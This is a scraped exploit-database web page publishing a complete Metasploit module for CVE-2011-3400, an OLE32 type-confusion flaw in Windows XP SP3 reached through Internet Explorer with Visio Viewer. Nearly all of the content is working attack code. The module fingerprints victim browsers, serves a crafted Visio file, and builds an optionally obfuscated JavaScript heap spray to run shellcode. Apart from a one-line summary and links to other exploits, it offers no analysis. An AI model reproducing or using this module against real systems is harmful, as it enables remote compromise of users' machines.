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Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Microsoft Windows OLE Object File Handling Remote Code Execution Exploit 25 Jan. 2013    Summary Microsoft Windows OLE Object File Handling suffers from remote code execution vulnerability.   Credit: Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Microsoft IIS MDAC msadcs.dll require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution", 'Description' => %q{ This module exploits a type confusion vulnerability in the OLE32 component of Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple function. A Visio document with a specially crafted Summary Information Stream embedded allows to get remote code execution through Internet Explorer, on systems with Visio Viewer installed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2011-3400' ], [ 'OSVDB', '77663'], [ 'BID', '50977' ], [ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ], [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ] ], 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3 / Visio Viewer 2010', { 'Offset' => '0x7ee - code.length', 'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header } ], [ 'IE 7 on Windows XP SP3 / Visio Viewer 2010', { 'Offset' => '0x7ee - code.length', 'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 13 2011", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) # If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] # IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] # IE 7 on Windows XP SP3 else return nil end end def exploit @vsd = create_vsd super end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end print_status("Client requesting: #{request.uri}") if request.uri =~ /\.vsd$/ @vsd[5106, 2] = my_target['PtrToHeap'] print_status("Sending Exploit VSD") send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' }) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_pivot = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x1e0; i++) { heap_obj.alloc(block); } JS js_pivot = heaplib(js_pivot, {:noobfu => true}) if datastore['OBFUSCATE'] js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot) js_pivot.obfuscate end vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd" html = %Q| <html> <head> <script> #{js_pivot} </script> </head> <body> <object classid="clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB" ID="target"> <param name=src value="#{vsd_uri}"> </object> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end def create_vsd path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" ) fd = ::File.open( path, "rb" ) vsd = fd.read(fd.stat.size) fd.close return vsd end end CVE Information: 2011-3400 Disclosure Timeline: Published: 2012-06-06  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles SimplyPlay v.66 .pls File Buffer Overflow Exploit NProtect Anti-Virus Privilege Escalation Vulnerability Ripe HD FLV Player Plugin for WordPress Multiple Script Direct Request Path Disclosure Vulnerability CMS snews SQL Injection Vulnerability WeBid SQL Injection Exploit Invision Gallery SQL Injection Exploit ArrowChat External.php Lang Parameter Traversal Local File Inclusion Exploit WinWebMail Server Stored XSS Exploit TFTP Server for Windows ST WRQ Buffer Overflow Exploit QNX QCONN Remote Command Execution Exploit Distinct TFTP Writable Directory Traversal Execution Exploit Xion Audio Player 1.0.127 (.aiff) Denial of Service Exploit Wordpress Postie Plugin Stored XSS Exploit Vice City Multiplayer Server Remote Code Execution Exploit Sphpforum Multiple Exploits NetOp Remote Control Client Buffer Overflow Exploit MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Exploit MaxForum Local File Inclusion Exploit Inferno vBShout SQL Injection Vulnerability WP Effective Lead Management Persistent XSS Exploit  Featured Articles Social Engine Multiple Exploits Novell Groupwise Address Book Remote Code Execution Exploit GWebmail XSS & LFI RCE Vulnerabilities Acpid Privilege Boundary Crossing Exploit McAfee Virtual Technician MVT.MVTControl.6300 ActiveX GetObject() Vulnerability 'SonicWall Global Management System XSS Vulnerability' 'Opera file:// Overflow' 'vxFtpSrv CWD Command Overflow' 'Kaminsky DNS Cache Poisoning Flaw Exploit for Domains' 'freeSSHD Post Authentication Buffer Overflow (Exploit)' 'Symantec Altiris Client Service Local Privilege Escalation (Exploit)' 'Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)' 'SurgeMail Webmail Host Header DoS' 'PHP Win32std Extension safe_mode/disable_functions Protections Bypass' 'WinPcap NPF.SYS Privilege Elevation Vulnerability (PoC exploit)' 'MailEnable Buffer Overflow (LOGIN, Exploit)' 'Durian Web Application Server Buffer Overflow (Exploit)' 'KsIRC Buffer Overflow Exploit (PRIVMSG)' 'Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)' 'Windows WorkStation NetpManageIPCConnect (MS06-070, Exploit)'
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